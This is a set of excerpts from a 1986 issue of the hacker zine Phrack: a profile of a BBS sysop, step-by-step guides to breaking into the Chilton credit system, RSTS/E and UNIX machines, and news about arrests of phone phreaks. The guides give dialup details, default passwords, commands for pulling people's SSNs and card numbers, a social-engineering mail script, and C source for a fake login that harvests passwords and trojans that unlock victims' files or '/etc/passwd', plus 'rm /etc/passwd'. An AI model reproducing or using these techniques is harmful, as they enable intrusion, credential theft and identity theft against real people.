One, Issue 7, Phile 1 of 10 + + September 25, 1986 + +Welcome to Phrack VII.

Phrack Pro-Phile is created to bring info to +you, the users, about old or highly important/controversial people. This +month, I bring to you one of the most influential users of our times and of +days of old... + + Scan Man + ~~~~~~~~ + +Scan Man is the sysop of Pirate 80 (P-80), a telcom enthusiasts' bulletin board +in Charleston, West Virginia (304). +------------------------------------------------------------------------------- +Personal +~~~~~~~~ + Handle: Scan Man + Call him: Scan Man + Past handles: None + Handle origin: Thought it up while writing a scanning program. + Date of Birth: 8/30/53 +Age at current date: 32 years old + Height: 6'1 + Weight: About 225 lbs. + Eye color: Green + Hair Color: Dark Blond to Light Brown + Computers: 2 TRS Model I's (one of which the BBS is run on), Tandy + Model 1000 (IBM Compatible), a 132 Column Dot Matrix, a + 132 Column Daisy Wheel, a Model 100 Portable, a TRS Color + Computer, and a backup 80 Column Dot Matrix Printer. + Sysop/Co-Sysop of: Pirate 80 (P-80) + +------------------------------------------------------------------------------- +Scan Man started out in the BBS world about 7 years ago when he first got his +modem, a 300 Baud Auto-Answer/Auto-Dial Micro-Connection Modem (made by Micro +Peripheral Corp.) with tape input and output. Pirate 80 went up 4 years ago +this Halloween, which consisted of a TRS Model 1, 3 40 track, single sided, +double density floppies, and a 300 baud modem (which held up until 6 months +ago). + +At the time of arising, the board was put up for interests in phreaking, +hacking, as well as pirating. Within the first 6 months to now, Scan Man had +gone through 6 BBS programs, and is quite satisfied with the current one. + +First, he started with a pirated version of TBBS 1.2, then an upgrade to 1.3, +pirated again (occurred and at the same time a hard drive was added after a +number of disk drive changes and modifications). Scan Man, through his BBS +(which was in the first 5 all phreak/hack BBS's to ever go up, and is the +oldest phreak board in the country), has met or talked to what he considers +"anybody who is anybody". + +At 11 years old, he found a few old phones, took them apart, and got them +working, which was when his interest in telecom arose. He was led into the +phreak world when he became aware that he could phreak (articles he read such +as blue box articles). At the time, BBS's and personal computers did not exist +at this time. + +The first board he called that involved phreaking was the old Pirate's Harbor. +An anonymous message posted there had a few alternate long distance service +codes posted. He was very excited that he had stumbled upon this thrill and he +spent the first year or so calling around finding exactly what everyone was +into and from there forward he started manufacturing various devices with The +Researcher. They worked together and learned together. + +Because so much information posted was inaccurate, they did this to make it +accurate and found out what was the real stories. The more memorable phreak +boards that he was on included Plovernet, (and all pre-Plovernet), L.O.D., AT&T +Phone Center, Pirates of Puget Sound, as well as a few others which he couldn't +remember offhand because it was so long ago. + +Scan Man's works as a computer consultant (systems analyst). He checks +security as well as enhancements, improvements, and debugging. He's been doing +this for about a year now. + +Scan Man's hack/phreak interests are unknown to his employers. He has attended +various things including sneaking into a seminar on the DMS-250 Digital +Switching System, and before that, TelePub'86, and he's sneaked into other +various telcom/computer security seminars. He starts one project at a time and +does things step by step. He's very concentrated in his projects. + +Scan Man frowns upon groups and says, "If you're any damn good at all, you're +going to get a reputation whether you like it or not." + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Interests: Telecommunications (modeming, phreaking, hacking, satellite + scanning), white water rafting, snow skiing, dancing (he used to be + a roller skating dance/disco instructor), and boating. + +Scan Man's Favorite Things +-------------------------- + Foods: Junk food, or an expensive restaurant once a week or so. + Movies: He's a movie buff, and goes regularly, by himself even. + Animals: He's an animal lover. +Pyrotechnics: They manufacture various fireworks as a hobby. + + +Most Memorable Experiences +-------------------------- +The Newsweek Incident with Richard Sandza. +Last year's New Years' Phreak Party. + +Some People to Mention +---------------------- +The Researcher (for helping him out in starting out with phreak/hacking.) +The Coco Wizard (helped a lot with the BBS and the hardware on the computer.) +King Blotto, Mr. Gucci, and The Scanner (people he could do without.) +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Scan Man dislikes the bickering and fighting between the phone phreaks of +modern day because they're just fighting to climb the social ladder. He +dislikes the current phone phreaks because they're not in it to learn, and are +only in it to gain a big reputation. The old phreaks were those that wanted to +be there because they were a student of the network and had a true desire to +learn. It's become an ego/power-trip of the modern teenage America. They're +only in it to impress other people, and write philes just to get the +reputation, rather than to write it for the information in it, and collect them +only to say their collection is sizable. He feels that credit cards are voodoo +because it seems to be what people and sysops get busted for the most. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +I hope you enjoyed this phile, look forward to more Phrack Pro-Philes coming in +the near future. And now for the regularly taken poll from all interviewees. + +Of the general population of phreaks you have met, would you consider most +phreaks, if any, to be computer geeks? 90% of the phreaks, yes. 10% or less +are in it to learn. He respects that small percentage.

Unlike other credit systems such as TRW +and CBI, this one contains the records for people with good credit and doesn't +wipe out some of the numbers of the cards themselves. All information is +complete and includes full numbers as well as the bank that issued it, limit, +payments due, payments late, their SSN, current & former address, and also +their current and former employer. All you need to know to access this info is +the full name, and address of your "victim". + +Now, how to hack the Chilton. Well, the Chilton system is located in Dallas +and the direct dialup (300/1200) is 214-783-6868. Be in half duplex and hit +return about 10 times until it starts to echo your returns. There is a command +to connect with E-mail that you can put in before echoing return. By echoing +the return key your signifying that you want the credit system. I wont go into +E-mail since there is nothing of special interest there in the first place. If +you are interested in it, try variations of /x** (x=A,B,C,etc.). All input is +in upper case mind you. Back to the credit part, once you echo return, you can +type: DTS Ctrl-s if you really need to see the date and time or you can simply +start hacking. By this, I mean: +SIP/4char. Ctrl-s + +This is the Sign In Password command followed by a 4 character alpha numeric +password, all caps as I said before. You can safely attempt this twice without +anyone knowing your there. After the third failed attempt the company printer +activates itself by printing "Login Attempt Failed". This is not a wise thing +to have printed out while your trying to hack into it since there is always +someone there. If you try twice and fail, hit Ctrl-d, call back, echo, and try +again. You can keep doing this as long as you wish since there is no other +monitoring device than that printer I mentioned before. Since this only +activates when you fail to login correct you can safely say there is little if +no danger of your discovery. I would suggest going through an extender though +since Chilton does have access to tracing equipment. About the passwords, as +far as I know, there are 3 different classes of them with varying privileges, +these are: + +1-User/Employee +2-Permanent/Secretary +3-Input Output + +The first one is just to look and pull credit reports. These passwords go dead +every Sunday night at 11:00pm or so. The new ones are good from Monday to +Sunday night. Even though your pass is good for one week, there are limited +times you can use this. The credit system is only accessible at these times: +Mon-Fri: 8:00am to 11:00pm, Sat: 8:00am to 9:00pm, and Sun: 8:00am to 6:00pm +The second class is the same as the first except that these only change +whenever someone leaves the company. These were originally supposed to be set +up for the secretaries so that if they ever need quick access they could w/o +having to go down to the Credit Dept. every week for a new password. The +third is one I have never gotten..yet. It has the ability to alter a persons +credit reports for one month. At the first of the month the system updates all +reports and changes your alterations to the credit reports. Doing this though +would warrant going through a diverter since your fucking with someone's life +now. Once you have hacked a pass and it accepts the entry it will display the +warning: + + ****WARNING! UNAUTHORIZED ACCESS OF THIS SYSTEM IS A FEDERAL CRIME!**** + +Or something along the same lines. After this you should be left to input +something. This is where you enter either In House Mode, System Mode, or +Reporting Mode. In House Mode will give you the reports for the people living +in Dallas/Fort Worth and surrounding counties. System Mode is good for +surrounding states that include: + +Massachusets, Illinois, Louisiana, Missouri, Arkansas, New Mexico, Colorado, +Arizona, some of New Jersey, and a few others I cant remember. There are 11 +states it covers. + +Reporting is a mode used for getting transcripts of a persons reports and would +require you to input a companies authorization number. So for this file lets +stick to In House and System. Get your victims stats ready and enter a mode: + +In House: I/NH Ctrl-s (Dallas/Ft. Worth 214) +System: I/S Ctrl-s (All other NPA's) + +After that its time to pull records. Type in: + +I/N-Last Name/F-First Name/L-Street Name/Z-Zip Code/** Ctrl-s + +If you don't know his street name, use 'A' and it will go into a global search +routine until it finds name that match or are at least 80% similar to the one +you used. Although the Zip Code is not needed and can be left out, it does +narrow the search field down considerably. Once it finds the name, it will +show you his Name, SSN, Current Address, Employer, and former ones if there +are any. Right after his name you will see a ID number. Sorta like: 100-xxxxx +Write this down as it is your key to getting his reports. After it finishes +listing what it has on him its time to see the full story. Type: + +N/100-xxxxx/M/D Ctrl-s + +What it will display now is his whole credit history. When you first pulled +his ID number you might have seen he had two names but with a variance like +middle name or a misspelled address. Pull both of them as they are just an +error in whoever put the reports in. I would suggest capturing this so that +you can refer back to it w/o having to access the system every time. + +There is another way to get into Chilton through Tymnet but I have no idea of +the address for this and its a waste of time. If you happen to get the name +and address of an employee of the company forget the idea of pulling his +stats, Chilton doesnt allow employee records to be in there. One very good +point made not too long ago is the prospect of going through the phone book +and picking names at random. + +Although Credit Card numbers are displayed credit card fraud is thwarted by +the small fact that it does not show expiration dates. No company making an +actual inquisition on a person would need that information and to prevent the +fraudulent or misuse of the information they were left out. There is an +interesting note that at one time in the companies history they did have a +small that signified a drug record. This was taken out as it wasn't +pertinent to the computers purpose and was only there because Borg Warner, the +company that owns Chilton wanted to pry into peoples lives. The computer has a +10 line rotary, so unless there are 11 people using it at the same time your +chances of getting a busy signal are almost if not next to nil. + +Disclaimer: + +The information provided in this file is a tutorial and is provided for the +purpose of teaching others about this system and how it operates.

All the files are based on version 8.0 as it is +almost fully compatible with the previous releases. If the need arises I have +made sure to note differences between V8.x and V9.x. + Credit goes to High Evolutionary for urging me to write these files; to +Night Stalker for sharing info; and to all other RSTS hackers that have +contributed in some way or another. + +HISTORY: +-------- + The RSTS/E (Resource System Time Sharing /Environment) operating system +was developed for the PDP/11 series of minicomputers created by DEC. (Digital +Equipment Corporation) It was developed with ease of use for the user (and +hacker) in mind. Because of this, there have been a lot of overlooked errors +leaving the system with quite weak security. In later versions, especially +the 9.x series password security has been greatly improved and is more secure, +but still has plenty of bugs for us to breach. + +LOGGING ON: +----------- + Briefly.. locate a valid number and connect. Hit c/r (carriage return) a +few times or type: + HELLO +The system should identify itself displaying to you who owns it, what version +they're running under, the date, and the time. Then it will prompt for an +account number and a password. + Accounts are in a PPN (Project Program Number) format. This is actually +two numbers each between 0 and 254 separated by a comma or a slash. (eg. 3,45 +or 27/248) Privileged accounts which you should hopefully be striving for all +start with a 1. So start hacking 1,x accounts. + Passwords are 1-6 characters long. They are only alphanumeric so you +don't have to worry about all that other shit being included. On V9.x systems +passwords may be up to 8 characters if the operator has changed the default +length. But this rarely ever happens as most ops are too lazy. + Common passwords are: + SYSLIB + SYSGEN + SYSCON + SYSMGR + SYSOPR + SYSTEM + OPRATR + RSTS + DECNET + GAMES + YYYYYY + XXXXXX + XYXYXY + DATA + RICH + XXX + AAA + Many of those have been rumored to be defaults. But actually I think the +true default (if there is one!) password is: + RSTSE + Also, accounts that have a password of: + ?????? +are only accessible by operators. + Remember to try names, cars, objects, the name of the company (in +different variations), etc. Cause most people generally pick passwords that +have some relation to their private life.. Take a little time and guess... + +YOUR IN! +-------- + Once you have succeeded in hacking out a valid password, whether it be +privileged or not, I suggest you find out who is logged onto the system. You +can do this simply by typing: + SY + This will tell you everyone logged on, what they are doing at the moment, +their job number, whether they are attached or detached, and a hell of a lot of +other crap. What you are looking for is someone else logged in under the same +account you are. If you find another user in the same account you hacked, log +off and call back later. This will prolong the life of your account and +prevent a rise in suspicion by the sysops. Remember, every system keeps a log +of what you do, and if two people are logged in under the same account many +times the sysops will delete or change the password to that account. + If everything checks out okay, you're free to do as you please. To list +the files in your allotted space type: + DIR +or to see all the files on the system type: + DIR (*,*) + NOTE: [ ] may be used in place of ( ) when dealing with files. + * acts as a wildcard on the RSTS system and can be used in place of +account numbers when searching for specific files. Speaking of searching for +files; to run a file type: + RUN filename.filetype +where filename = the file you wish to run, and filetype = the extension. + Experiment! Try what you will. If you ever need help just type: + HELP + Read the files contained within help. They are very detailed and I +guarantee can help you with what ever it is you need done. + One other thing, a few useful control characters are: + ^C Breaks out of whatever your doing + ^R Repeats last line typed + ^X If ^C doesn't work, this may + ^O Use to stop the flow of text without aborting the function in process + ^T Tells status and runtime of terminal + ^U Deletes line presently being typed in + ^H Deletes characters + ^S Transmission off + ^Q Transmission on + +GAINING PRIVILEGES: +------------------- + If you weren't able to hack out a privileged account don't panic. There +are still a few other ways for you to attain sysop status. These methods may +not always work, but they are worth a try. + ]SYSTEM LOG[ + On many RSTS/E systems before V9.0 there is one account dedicated to +keeping the system log; everything you and everyone else does. I have found +this account many times to be 1,101, 1,2, or 0,1 but you may want to do a +directory find to make sure. Type: + DIR (*,*)OPSER.LOG +or if nothing appears from that type: + DIR (*,*)SYSLOG.* +or + DIR (*,*) + Look for a file similar in name to that and mark down the account it +appears in. Now that you know which account the system log resides in logoff. + BYE + Then sign back on using the account in which the file was in. For +password try one of the following: + OPSER + OPSLOG + LOG + OPS + OOPS + OPRATR + SYSLOG + SYSTEM + These are common passwords to that account. If none of these work your +out of luck unless you can think of some other password that may be valid. + ]SYSTEM BUGS[ + When operating systems as complex as RSTS/E are created there will +undoubtedly be a few bugs in the operation or security. (Sometimes I am not +sure if these are intentional or not.) These can often be taken advantage of. +One that I know of is RPGDMP.TSK. To use this type: + RUN (1,2)RPGDMP + It will ask for a filename, and an output device. Give it any filename on +the system (I suggest $MONEY, $REACT, or $ACCT.SYS) and it will be dumped to +the specified device. (db1:, screen, etc). + Credit for this goes to The Marauder of LOD for finding, exposing and +sharing this bug with all. + If you find any other bugs similar to this, I would appreciate your +getting in touch with and letting me know. + +GETTING PASSWORDS: +------------------ + Now that you've hopefully gotten yourself priv's we can get on with these +files. Getting many passwords is a safety procedure, kind of like making a +backup copy of a program. There are a number of ways to get yourself +passwords, the easiest is by using privileges, but we will discuss that in a +later file. The methods I am going to explain are the decoy and a trick I like +to use, which I call the mail method. + ]DECOY[ + The decoy, commonly called a Trojan Horse, (which is something completely +different) is a program which emulates login.bac. When the unsuspecting user +enters his account and password you have your program store it into a file that +you can retrieve later. Here is a short program I've written that will preform +this task: + +type NEW and it will prompt for a filename. Enter something not to obvious. + + 1 ! RSTSE Decoy + 2 !

Save this program. Then run it. When it starts, just drop the +carrier. The next person to call within 15 minutes will get your imitation +login. + If you are working on an older system like V7.0 change line 40 to read: + 40 &" "; + NOTE: This will not work without modifications on releases after V8.7. An +improved and updated version of this program will be released as a small file +at a later date. + Next time you login and you want to recover the file type: + TYPE SYSLIB.BAC + It should print out the account and password. If you set this running +each time you plan on hanging up within a few days you'll have yourself a +handful of valid accounts. + ]MAIL[ + To run mail type: + RUN $MAIL + The mail method is probably used by many hackers and since I like to use +it, I thought I'd tell you what it was. + When you run the program the utility will tell you exactly how to use +itself. Assuming you know a little about it anyway we will get on with the +file. The object is to send mail to another user and try and convince him/her +you are the sysop and are writing him/her to validate their password. Don't +try this with a priv'd user! It would result in instant deletion. + Here's basically what you'd type: + + Hello. We are contacting each of the users and validating their records to +keep our files up to date. If you would cooperate and leave me a response which +includes your full name, account number, and password we would appreciate your +help. + + John Doe + System's Operator + 4,11 + + As you can see the idea is to con a user into believing you are one of the +system ops. I would say this method works approximately 70% of the time on +most systems since users often times don't associate with sysops. Use a +different name if you try this though, as John Doe wouldn't fool anyone. (Be +creative) Also the 4,11 is the account you'd like them to leave the response +too. + You can try a few variations of this if you like. For example, if the +system you're hacking has a chat program: + + RUN $TALK + +You can just talk live time to them. Or if you somehow (like trashing) manage +to get a list of all the users and their phone numbers, you can call them up +and bullshit them. + + NOTE: This document is intended for informational purposes only.

It's an easy system to brute- +force hack (most UNIX systems don't hang up after x number of login +tries, and there are a number of default logins, such as root, bin, +sys and uucp). Once you're in the system, you can easily bring +it to its knees (see my previous Phrack article, "UNIX Nasty Tricks") +or, if you know a little 'C', you can make the system work for you +and totally eliminate the security barriers to creating your own +logins, reading anybody's files, etcetera. This file will outline +such ways by presenting 'C' code that you can implement yourself. + +Requirements +------------ + You'll need a working account on a UNIX system. It should be +a fairly robust version of UNIX (such as 4.2bsd or AT&T System V) +running on a real machine (a PDP/11, VAX, Pyramid, etc.) for the +best results. If you go to school and have an account on the school +system, that will do perfectly. + +Notes +----- + This file was inspired an article in the April, '86 issue of +BYTE entitled "Making UNIX Secure." In the article, the authors say +"We provide this information in a way that, we hope, is interesting and +useful yet stops short of being a 'cookbook for crackers.' We have +often intentionally omitted details." I am following the general +outline of the article, giving explicit examples of the methods they touched +on. + + An unrelated note: Somewhere there's a dude running around using +the handle "Lord British" (not THE Lord British...). This is a message +for LB: "Fuck off and die." + +Here we go... + +Project One: Fishing For Passwords +----------------------------------- + + You can implement this with only a minimal knowledge of UNIX and +C. However, you need access to a terminal that many people use - +the computer lab at your school, for example. + + When you log onto a typical UNIX system, you see something like this: + +Tiburon Systems 4.2bsd / System V (shark) + + +login: shark +Password: (not printed) + + The program I'm giving you here simulates a logon sequence. You +run the program from a terminal and then leave. Some unknowing fool +will walk up and enter their login and password. It is written to a +file of yours, then "login incorrect" is printed, then the fool is +asked to log in again. The second time it's the real login program. +This time the person succeeds and they are none the wiser. + + On the system, put the following code into a file called 'horse.c'. +You will need to modify the first 8 lines to fit your system's appearance. + + +----- Code Begins Here ----- + +/* this is what a 'C' comment looks like. You can leave them out. */ + +/* define's are like macros you can use for configuration. */ + +define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n" + +/* The above string should be made to look like the message that your + * system prints when ready. Each \n represents a carriage return. + */ + +define LOGIN "login: " + +/* The above is the login prompt. You shouldn't have to change it + * unless you're running some strange version of UNIX. + */ + +define PASSWORD "password:" + +/* The above is the password prompt. You shouldn't have to change + * it, either. + */ + +define WAIT 2 + +/* The numerical value assigned to WAIT is the delay you get after + * "password:" and before "login incorrect." Change it (0 = almost + * no delay, 5 = LONG delay) so it looks like your system's delay. + * realism is the key here - we don't want our target to become + * suspicious. + */ + + +define INCORRECT "Login incorrect.\n" + +/* Change the above so it is what your system says when an incorrect + * login is given. You shouldn't have to change it. + */ + +define FILENAME "stuff" + +/* FILENAME is the name of the file that the hacked passwords will + * be put into automatically. 'stuff' is a perfectly good name. + */ + +/* Don't change the rest of the program unless there is a need to + * and you know 'C'. + */ + +include +include +int stop(); + +main() +{ +char name[10], password[10]; +int i; +FILE *fp, *fopen(); +signal(SIGINT,stop); +initscr(); +printf(SYSTEM); +printf(LOGIN); +scanf("%[^\n]",name); +getchar(); +noecho(); +printf(PASSWORD); +scanf("%[^\n]",password); +printf("\n"); +getchar(); +echo(); +sleep(WAIT); + + +if ( ( fp = fopen(FILENAME,"a") ) != NULL ) { +fprintf(fp,"login %s has password %s\n",name,password); +fclose(fp); +} + +printf(INCORRECT); +endwin(); +} + +stop() +{ +endwin(); +exit(0); +} + + +----- Source Ends Here ----- + + OK, as I said, enter the above and configure it so it looks exactly +like your system's login sequence. To compile this program called +'horse.c' type the following two lines: (don't type the %'s, they are +just a sample prompt) + +% cc horse.c -lcurses -ltermcap +% mv a.out horse + +You now have the working object code in a file called 'horse'. Run it, +and if it doesn't look like your systems logon sequence, re-edit horse.c +and re-compile it. When you're ready to put the program into use, create +a new file and call it 'trap' or something. 'trap' should have these two +commands: + +horse (this runs your program) +login (this runs the real login program) + +to execute 'trap' type: + +% source trap (again, don't type the %) + +and walk away from your terminal... + +After you've run it successfully a few times, check your file called +'stuff' (or whatever you decided to call it). It will look like this: + +user john has password secret +user mary has password smegma +etc. + +Copy down these passwords, then delete this file (it can be VERY +incriminating if the superuser sees it). + +Note - for best results your terminal should be set to time-out after +a few minutes of non-use - that way, your horse program doesn't +run idle for 14 hours if nobody uses the terminal you ran it on. + +----- + +The next projects can be run on a remote system, such as the VAX in +Michigan you've hacked into, or Dartmouth's UNIX system, or whatever. +However, they require a little knowledge of the 'C' language. They're +not something for UNIX novices. + +Project Two: Reading Anybody's Files +------------------------------------- + +When somebody runs a program, they're the owner of the process created +and that program can do anything they would do, such as delete a file +in their directory or making a file of theirs available for reading +by anybody. + +When people save old mail they get on a UNIX system, it's put into +a file called mbox in their home directory. This file can be fun +to read but is usually impossible for anybody but the file's owner +to read. Here is a short program that will unlock (i.e. chmod 777, +or let anybody on the system read, write or execute) the mbox file +of the person who runs the program: + +----- Code Begins Here ----- + +include + +struct passwd *getpwnam(name); +struct passwd *p; +char buf[255]; + +main() +{ +p = getpwnam(getlogin()); +sprintf(buf,"%s/%s",p->pw_dir,"mbox"); +if ( access(buf,0) > -1 ) { + sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox"); + system(buf); + } +} + +----- Code Ends Here ----- + +So the question is: How do I get my target to run this program that's +in my directory? + +If the system you're on has a public-messages type of thing (on +4.xbsd, type 'msgs') you can advertise your program there. Put the +above code in another program - find a utility or game program in +some magazine like UNIX WORLD and modify it and do the above before +it does it's real thing. So if you have a program called tic-tac-toe +and you've modified it to unlock the mbox file of the user before it +plays tic-tac-toe with him, advertise "I have a new tic-tac-toe program +running that you should all try. It's in my directory." or whatever. +If you don't have means of telling everybody on the system via a public +message, then just send mail to the specific people you want to trap. + +If you can't find a real program to modify, just take the above program +and add this line between the two '}' lines at the end of the program: + +printf("Error opening tic-tac-toe data file. Sorry!\n"); + +when the program runs, it will print the above error message. The user +will think "Heh, that dude doesn't know how to write a simple tic-tac- +toe program!" but the joke's on him - you can now read his mail. + +If there's a specific file in a user's directory that you'd like to +read (say it's called "secret") just throw together this general +program: + + +main() +{ +if ( access("secret",0) > -1 ) system("chmod 777 secret"); +} + +then 'talk' or 'write' to him and act like Joe Loser: "I wrote this program +called super_star_wars, will you try it out?" + +You can use your imagination. Think of a command you'd like somebody +to execute. Then put it inside a system() call in a C program and +trick them into running your program! + +Here's a very neat way of using the above technique: + +Project Three: Become the superuser +----------------------------------- + +Write a program that you can get people to run. Put this line in +it somewhere: + +if ( !strcmp(getlogin(),"root") ) system("whatever you want"); + +This checks to see if the root login is running your program. If +he is, you can have him execute any shell command you'd like. +Here are some suggestions: + +"chmod 666 /etc/passwd" + + /etc/passwd is the system's password file. The root owns this +file. Normally, everyone can read it (the passwords are encrypted) +but only the root can write to it. Take a look at it and see how it's +formatted if you don't know already. This command makes it possible +for you to now write to the file - i.e. create unlimited accounts for +yourself and your friends. + +"chmod 666 /etc/group" + + By adding yourself to some high-access groups, you can open many +doors. + +"chmod 666 /usr/lib/uucp/L.sys" + + Look for this file on your system if it is on the uucp net. It +contains dialups and passwords to other systems on the net, and normally +only the uucp administrator can read it. Find out who owns this file +and get him to unknowingly execute a program to unlock it for you. + +"rm /etc/passwd" + + If you can get the root to execute this command, the system's +passwd file will be removed and the system will go down and will +not come up for some time to come. This is very destructive. + +----- + +If you are going to go about adding a trojan horse program to the +system, there are some rules you should follow. If the hidden purpose +is something major (such as unlocking the user's mbox or deleting all +of his files or something) this program shouldn't be a program that +people will be running a lot (such as a popular computer game) - once +people discover that their files are public access the source of the +problem will be discovered quite easily. Save this purpose for a 'test' +program (such as a game you're in the process of writing) that you +ask individual people to run via mail or 'chatting' with them. As I +said, this 'test' program can bomb or print a phony error message after +completing its task, and you will just tell the person "well, I guess +it needs more work", wait until they log off, and then read whatever +file of theirs that you've unlocked. If your trojan horse program's +sole purpose is to catch a specific user running it - such as the +root or other high-powered user - you can put the code to do so +in a program that will be run a lot by various users of the system. +Your modification will remain dormant until he runs it. +If you can't find the source to 'star trek' or whatever in C, just +learn C and convert something from pascal. It can't hurt to learn +C as it's a great language. We've just seen what it can do on a +UNIX system. Once you've caught the root (i.e. you can now modify +the /etc/passwd file) remove the spurious code from your trojan horse +program and you'll never be caught. + +That's it...if you have any questions or comments or you just want +to bitch at me, call this system: + +The Matrix +415/922-2008 +101 megs, IBM warezzz, 2400 baud, Phrack sub-board, etc. + +Lord British, I *dare* you to call. + +(> +========================================================================= + + ==Phrack Inc.== + + Volume One, Issue 7, Phile 8 of 10 + +PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN +PWN PWN +PWN *^=-> Phrack World News <-=^* PWN +PWN PWN +PWN Issue VI/Part 1 PWN +PWN PWN +PWN Compiled and Written by PWN +PWN PWN +PWN Knight Lightning PWN +PWN PWN +PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN + +Oryan QUEST Vs. Dan Pasquale June 21, 1986 +---------------------------- +Yes, our buddy from the west coast is back in action, this time against Oryan +QUEST. Oryan QUEST was busted on April 6, 1986 (See PWN Issue IV Part 2), for +hacking AT&T Mail, by the San Mateo Police Department and the FBI. Because of +legal technicalities, the charges were dropped but, Oryan's computer was +confiscated and never returned. He has since bought a new computer (IBM AT) +and is now back among us. + +It is believed that someone (Dan Pasquale?) must have found Oryan's notebook +which contained his passwords on to bulletin boards around the country. One +example of this is "The Radio Station Incident" (See PWN Issue IV Part 3) where +a fake Oryan QUEST wandered the BBS and when questioned as to his legitimacy +quickly dropped carrier. + +Most recently Oryan QUEST has been getting job offers in computer security. He +hasn't accepted any at this time. Also he has been getting several calls from +Dan Pasquale. Dan wants Oryan's help to bust any and all hackers/phreaks. Dan +is very pissed these days because someone charged $1100.00 worth of Alliance +Teleconferences to his phone bill and now he wants revenge. He has stated that +one of his main projects is to bust P-80, sysoped by Scan Man. Dan Pasquale +says that Scan Man works for a long distance communications carrier. I +personally think he has as much of a chance of busting P-80 Systems as a +snowball staying frozen in a microwave. + +Lets face it, if John Maxfield and the other investigators haven't busted P-80 +yet, they never will...let alone some little police sergeant in California. +Dan also added that he is going to "hose" Speed Demon Elite. He claims that he +is already a member of SDE and that its only a matter of time before he takes +it down forever. He also mentioned that he has placed a Dialed Number Recorder +(DNR) on Radical Rocker's phone lines. Furthermore, it was learned that Dan +Pasquale managed to get an account on to The Underground, sysoped by Night +Stalker. It is unknown as to if Dan has anything to do with Night Stalker's +bust. + +Dan Pasquale also said, "I will bust these hackers any way I can!" To really +understand what that statement means you would probably have to live in +California. What Pasquale was referring to was moving violations. If you (a +driver under 21) receive any type of moving violation, both your insurance +company and your parents are notified. This raises your insurance rates and +gets you into trouble. If you get two moving violations, kiss your license +goodbye for at least 2 years. + +Radical Rocker having heard about Dan Pasquale's plans to destroy Speed Demon +Elite, went on a user purge and has destroyed any and all accounts that were +held by those that he did not know personally. Speed Demon Elite is now a +private BBS and supposedly Radical Rocker has now cleared things up with Dan +Pasquale. + Information provided by Oryan QUEST and Radical Rocker +_______________________________________________________________________________ + +Marx and Tabas: The Full Story July 1,1986 +------------------------------ +It all started with Cory Andrew Lindsly aka Mark Tabas, age 19. He worked for +the Colorado Plastic Card Company and had access to the plastic cards that +credit cards were made with. He had taken 1350 and stashed them away for later +usage. + +His plan would have went perfectly if not for Steve Dahl. He was busted in +Miami by the US Secret Service for whatever reasons. They gave him a chance to +play ball. Dahl had heard about Mark Tabas and Karl Marx's scheme and after +informing the Secret Service about this he was given an embossing machine. +Steve Dahl then flew to Denver and set up the meeting. Mark Tabas lived in +Denver and wanted his friend James Price Salsman aka Karl Marx, age 18, to join +in on the fun. So Marx flew down on a carded plane ticket that Tabas had +signed for. + +The meeting took place in a room at the Denver Inn. The room was bugged and 19 +cards (Visa, MasterCard, and some blanks) were made from a possible 140 that +they had brought. They decided to celebrate by ordering champagne on the card +of Cecil R. Downing. + +A member of the Secret Service actually delivered the champagne to the room +disguised as a waiter. Tabas signed for the drinks and the twosome were +nailed. To make matters worse the SS also matched Tabas's signature with the +signature used to buy the carded plane ticket. +------------------------------------------------------------------------------- +The sentencing goes like this: Maximum: 10,000 dollars (Local Law) + Maximum: 250,000 (Federal Law) + Maximum: 10 years in jail (both) + + Or any combination of the three. + +Both Tabas and Marx were let out on bail of five thousand dollars each. The +actually charge is: The manufacturing and possession of unauthorized access +devices. The U.S. Magistrate Hilbert Schauer will be overhearing the case. + +There is a rumor that charges on Salsman were dropped and that he is in no +trouble at all since he didn't actually buy the plane ticket, he was given it, +he didn't steal the cards, and he didn't emboss them. So supposedly the Secret +Service let Marx go because he didn't know about the cards, he was just there +at the wrong time. + + Information Provided By The Denver Post and Sally Ride:::Space Cadet +_______________________________________________________________________________ + +The Saga Of Mad Hacker July 15, 1986 +---------------------- +Mad Hacker of 616 NPA 616 wrote a random Compuserve hacker because he was bored +and wanted something to do. It ran constantly for about a week and was he +surprised when it came up with an account. However he made the mistake of not +checking to see whose account it was, he used the SIG's (Special Interest +Group's) and ran up a bill slightly under $300. + +About a month later he was living over at a friend's house and the owner of the +account showed up, who just happened to be a family friend of the people that +MH was staying with. He asked both of them (the teenagers that is) if they +were using his account (they all had Compuserve accounts and the family knew +they were computer buddies). Mad Hacker said no and truthfully meant it. + +Now around July 1, 1986 the account owner turned the matter over to the +Kalamazoo Police Department since CIS (Compuserve) could not find anything out +beyond the dialup used to access the account. The police called around to +everyone in the area ("everyone" meaning all the "real" hacks and phreaks, not +rodents who think they're bad because they use handles) including Thomas +Covenant and Double Helix. Most of everyone instantly forgot that Mad Hacker +ever existed, but somehow they got a hold of the phone number where he was +staying (at the time he was staying at his girlfriend's house, he was not +living there before) and contacted the owner of the account and put out a +warrant for Mad Hacker's arrest. + +As of now, Mad Hacker faces *FELONY* charges because of the large amount of the +bill. The warrant for his arrest has been suspended, letting the account owner +to handle things in his own way. The owner has confiscated all of Mad Hacker's +computer equipment (3 computers and hardware etc.) until the bill is completely +paid back. + +Mad Hacker has progressed from merely delivering clever obscenities over the +fone to his adversary to actual vengeance. One example in the planning stages +will be in the form of camping out in said account owner backyard (in a rural +area), hooking up to a junction box, and running the account owner's Long +Distance phone bill out of sight. + +Mad Hacker is supposed to have a file on Junction Box Modeming coming soon, he +is currently borrowing a computer from a friend. + + Information Provided by Thomas Covenant +_______________________________________________________________________________ + +Lock Lifter *Busted* July 2, 1986 +-------------------- +Lock Lifter was busted for hacking an MCI Vax. he had downloaded a list of MCI +Calling Cards that he later abused and in return he received a *free* DNR on +his line for about 3 months. He was also given a scare from MCI Investigations +(for unknown reasons) previous to his visit from law enforcement officers and +as such his BBS, The Black Chamber, was deleted and the userfiles were +destroyed, so there really isn't much to worry about from the user's +standpoint. + +Lock Lifter had been making plans to take his board down anyway, so being +without The Black Chamber is just an adjustment we would have had to make +eventually regardless of Lock Lifters bust. + + Information Provided By + Arthur 